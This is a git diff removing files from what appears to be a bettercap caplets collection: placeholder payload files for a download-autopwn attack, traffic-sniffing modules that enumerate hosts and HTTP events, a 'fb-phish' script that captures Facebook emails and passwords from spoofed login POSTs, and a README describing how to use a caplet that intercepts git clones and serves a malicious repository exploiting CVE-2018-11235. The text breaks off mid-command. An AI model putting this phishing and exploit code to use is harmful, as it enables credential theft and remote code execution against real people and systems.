patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.dll b/download-autopwn/windows/payload.dll deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.doc b/download-autopwn/windows/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.docx b/download-autopwn/windows/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.exe b/download-autopwn/windows/payload.exe deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.flv b/download-autopwn/windows/payload.flv deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.jar b/download-autopwn/windows/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.mp3 b/download-autopwn/windows/payload.mp3 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.mp4 b/download-autopwn/windows/payload.mp4 deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.msi b/download-autopwn/windows/payload.msi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.pdf b/download-autopwn/windows/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.psd b/download-autopwn/windows/payload.psd deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.rar b/download-autopwn/windows/payload.rar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.swf b/download-autopwn/windows/payload.swf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.wav b/download-autopwn/windows/payload.wav deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/windows/payload.zip b/download-autopwn/windows/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.doc b/download-autopwn/xbox/payload.doc deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.docx b/download-autopwn/xbox/payload.docx deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.exe b/download-autopwn/xbox/payload.exe deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.jar b/download-autopwn/xbox/payload.jar deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.msi b/download-autopwn/xbox/payload.msi deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.pdf b/download-autopwn/xbox/payload.pdf deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/download-autopwn/xbox/payload.zip b/download-autopwn/xbox/payload.zip deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/enumerate/events/README.md b/enumerate/events/README.md deleted file mode 100644 index 93d44fe..0000000 --- a/enumerate/events/README.md +++ /dev/null @@ -1,11 +0,0 @@ -# enumerate.events - -A simple module that lets you enumerate events. - -Example: - -`enumerate.events.regexp GET|POST|HEAD|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH|=>|Form:` - -(this command will print all HTTP events; regexp must be written as in `new RegExp()`) - - diff --git a/enumerate/events/module.cap b/enumerate/events/module.cap deleted file mode 100644 index 13136f2..0000000 --- a/enumerate/events/module.cap +++ /dev/null @@ -1,13 +0,0 @@ -# events.stream -events.stream off -set events.stream.output enumerate/events/session1.events.stream.output -events.stream on - -# net.sniff -set net.sniff.verbose false -net.sniff on - -# http.proxy -set http.proxy.script enumerate/events/module.js -set http.proxy.port 8023 -http.proxy on diff --git a/enumerate/events/module.js b/enumerate/events/module.js deleted file mode 100644 index cbaca23..0000000 --- a/enumerate/events/module.js +++ /dev/null @@ -1,36 +0,0 @@ -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function configure() { - if ( !readFile( env("events.stream.output") ) ) { - log_error("Error: " + bold + "events.stream.output" + reset + " file not found (got " + env("events.stream.output") + ")") - } -} - -function onCommand(cmd) { - if (cmd == "enumerate.events.all") { - console.log( readFile( env("events.stream.output") ) ) - return true - } - if ( cmd.match(/^enumerate\.events\.regexp ./) ) { - regexp = new RegExp( cmd.replace("enumerate.events.regexp ", "") ) - saved_events = readFile( env("events.stream.output") ).split("\n") - found_events = [] - for (var i = 0; i < saved_events.length; i++) { - saved_events[i].match(regexp) ? found_events.push(saved_events[i]) : "" - } - console.log( found_events.join("\n") ) - return true - } -} - -function onLoad() { - console.log("\n" + bold + " Commands" + reset + "\n") - console.log(" " + yellow + "enumerate.events.all" + reset + " : Enumerate all events.") - console.log(" " + yellow + "enumerate.events.regexp" + reset + " : Enumerate events with regexp value.\n") - configure() - log_info("(" + green + "enumerate.events" + reset + ") Module successfully loaded.") -} diff --git a/enumerate/hosts/README.md b/enumerate/hosts/README.md deleted file mode 100644 index 7cc32ab..0000000 --- a/enumerate/hosts/README.md +++ /dev/null @@ -1,7 +0,0 @@ -# enumerate.hosts - -A simple module that lets you enumerate individual hosts. - -Example: - - diff --git a/enumerate/hosts/module.cap b/enumerate/hosts/module.cap deleted file mode 100644 index d8db3c3..0000000 --- a/enumerate/hosts/module.cap +++ /dev/null @@ -1,21 +0,0 @@ -# enumerate.hosts -set enumerate.hosts.output enumerate/hosts/session1.hosts.log - -# events.stream -events.stream off -set events.stream.output enumerate/hosts/session1.events.stream.output -events.stream on - -# net.sniff -set net.sniff.verbose false -net.sniff on - -# http.proxy -set http.proxy.script enumerate/hosts/module.js -set http.proxy.port 8022 -http.proxy on - -# ticker -set ticker.commands enumerate.hosts.save -set ticker.period 60 -ticker on diff --git a/enumerate/hosts/module.js b/enumerate/hosts/module.js deleted file mode 100644 index 8f0b01a..0000000 --- a/enumerate/hosts/module.js +++ /dev/null @@ -1,108 +0,0 @@ -var enumerated_hosts = [] - -var red = "\033[31m", - yellow = "\033[33m", - green = "\033[32m", - bold = "\033[1;37m", - reset = "\033[0m" - -function configure() { - if ( !readFile( env("enumerate.hosts.output") ) ) { - log_info("(" + green + "enumerate.hosts" + reset + ") " + bold + "enumerate.hosts.output" + reset + " file was not found, creating one ...") - writeFile( env("enumerate.hosts.output"), "" ) - } - - if ( !readFile( env("events.stream.output") ) ) { - log_error("Error: " + bold + "events.stream.output" + reset + " file not found (got " + env("events.stream.output") + ")") - } -} - -function extractHosts() { - logs = readFile( env("events.stream.output") ).split("\n") - extracted_hosts = [] - - for (var i = 0; i < logs.length; i++) { - if ( logs[i].match(/\[.*?net\.sniff.*?\]/i) ) { - host = logs[i].replace(/.*\033\[33m(https:\/\/|)(.*?)\033\[0m.*/g, "$2") - extracted_hosts.indexOf(host) == -1 ? extracted_hosts.push(host) : "" - } - } - - return extracted_hosts -} - -function compareHosts(old_hosts, new_hosts) { - difference = [] - - for (var i = 0; i < new_hosts.length; i++) { - old_hosts.indexOf(new_hosts[i]) == -1 ? difference.push(new_hosts[i]) : "" - } - - return difference -} - -function saveHosts(new_hosts) { - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - - for (var i = 0; i < new_hosts.length; i++) { - saved_hosts.indexOf(new_hosts[i]) == -1 ? saved_hosts.push(new_hosts[i]) : "" - } - - writeFile( env("enumerate.hosts.output"), saved_hosts.join("\n") ) -} - -function printHosts(hosts) { - if (hosts.length != 0) { - log_string = "" - - for (var i = 0; i < hosts.length; i++) { - log_string += " " + yellow + hosts[i] + reset + "\n" - enumerated_hosts.indexOf(hosts[i]) == -1 ? enumerated_hosts.push(hosts[i]) : "" - } - - console.log("\n" + log_string) - } else { - console.log("\n No hosts to display.\n") - } -} - -function onCommand(cmd) { - if (cmd == "enumerate.hosts.all") { - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - printHosts(saved_hosts) - return true - } - - if (cmd == "enumerate.hosts.new") { - new_hosts = compareHosts( enumerated_hosts, extractHosts() ) - printHosts(new_hosts) - return true - } - - if ( cmd.match(/^enumerate\.hosts\.regexp ./) ) { - regexp = new RegExp( cmd.replace("enumerate.hosts.regexp ", "") ) - saved_hosts = readFile( env("enumerate.hosts.output") ).split("\n") - found_hosts = [] - - for (var i = 0; i < saved_hosts.length; i++) { - saved_hosts[i].match(regexp) ? found_hosts.push(saved_hosts[i]) : "" - } - - printHosts(found_hosts) - return true - } - - if (cmd == "enumerate.hosts.save") { - saveHosts( extractHosts() ) - return true - } -} - -function onLoad() { - console.log("\n" + bold + " Commands" + reset + "\n") - console.log(" " + yellow + "enumerate.hosts.all" + reset + " : Enumerate all hosts.") - console.log(" " + yellow + "enumerate.hosts.new" + reset + " : Enumerate new hosts.") - console.log(" " + yellow + "enumerate.hosts.regexp" + reset + " : Enumerate hosts with regexp value.\n") - configure() - log_info("(" + green + "enumerate.hosts" + reset + ") Module successfully loaded.") -} diff --git a/fb-phish/fb-phish.cap b/fb-phish/fb-phish.cap deleted file mode 100644 index 8ff3b31..0000000 --- a/fb-phish/fb-phish.cap +++ /dev/null @@ -1,7 +0,0 @@ -set http.server.address 0.0.0.0 -set http.server.path www/www.facebook.com/ - -set http.proxy.script fb-phish.js - -http.proxy on -http.server on diff --git a/fb-phish/fb-phish.js b/fb-phish/fb-phish.js deleted file mode 100644 index cb1d57e..0000000 --- a/fb-phish/fb-phish.js +++ /dev/null @@ -1,28 +0,0 @@ -var RESET = "\033[0m"; - -function R(s) { - return "\033[31m" + s + RESET; -} - -function B(s) { - return "\033[34m" + s + RESET; -} - -function onRequest(req, res) { - if( req.Method == "POST" && req.Path == "/login.php" && req.ContentType == "application/x-www-form-urlencoded" ) { - var form = req.ParseForm(); - var email = form["email"] || "?", - pass = form["pass"] || "?"; - - log( R(req.Client.IP), " > FACEBOOK > email:", B(email), " pass:'" + B(pass) + "'" ); - - headers = res.Headers.split("\r\n") - for (var i = 0; i < headers.length; i++) { - header_name = headers[i].replace(/:.*/, "") - res.RemoveHeader(header_name) - } - res.Status = 301; - res.SetHeader("Location", "https://www.facebook.com") - res.SetHeader("Connection", "close") - } -} diff --git a/gitspoof/README.md b/gitspoof/README.md deleted file mode 100644 index 030f316..0000000 --- a/gitspoof/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Caplet for exploiting CVE-2018-11235 - -This caplet is intercepting http/https git clone attempts and -redirecting them to local http server that serves a malicious -repository leading to exploitation of CVE-2018-11235 on vulnerable -client. - -## How to use - -1. Create a malicious repository with `build_repo.sh` script. The - script will take the contents of `payload.txt` as payload - - customize the payload file to your needs. -2. Run the caplet with: - -``` -bettercap -caplet caplets/gitspoof/gitspoof.cap -``` - -## Alternative use cases - -You can control to which repository redirect the victim, by changing -`gitspoof.repo` variable to an IP or domain (do not prefix with -http(s)). This way if the victim is not susceptible to CVE-2018-11235 -you can still try to inject arbitrary code into the repo - this might -come in handy when trying to exploit some bad CI/deployment scripts. - -## Limitations - -Obviously the script won't be able to intercept https git clones -unless you can obtain a valid SSL cert or the victim used `-c -http.sslVerify=false` configuration option. - -The script was aimed at attacking automated systems not people -therefore the repo layout doesn't try hard to look inconspicuous ;) - -Attacking human with this caplet would require to also spoof some -trusted domain and point it at bettercap server since Git will always -notify the user about http redirect. - -Finally - all the CVE-2018-11235 limitations apply - to get RCE the -victim needs to have vulnerable git client **and** do a recursive -git clone (or initialize the submodules afterwards). - -## POC testing - -You can test the script yourself without arp poison: - -1. Setup vulnerable git on your system -2. Fire the caplet (remember to run `./build_repo.sh` first!) -3. On vulnerable system run: - -``` -http_proxy=
- 
-
- -
- 
-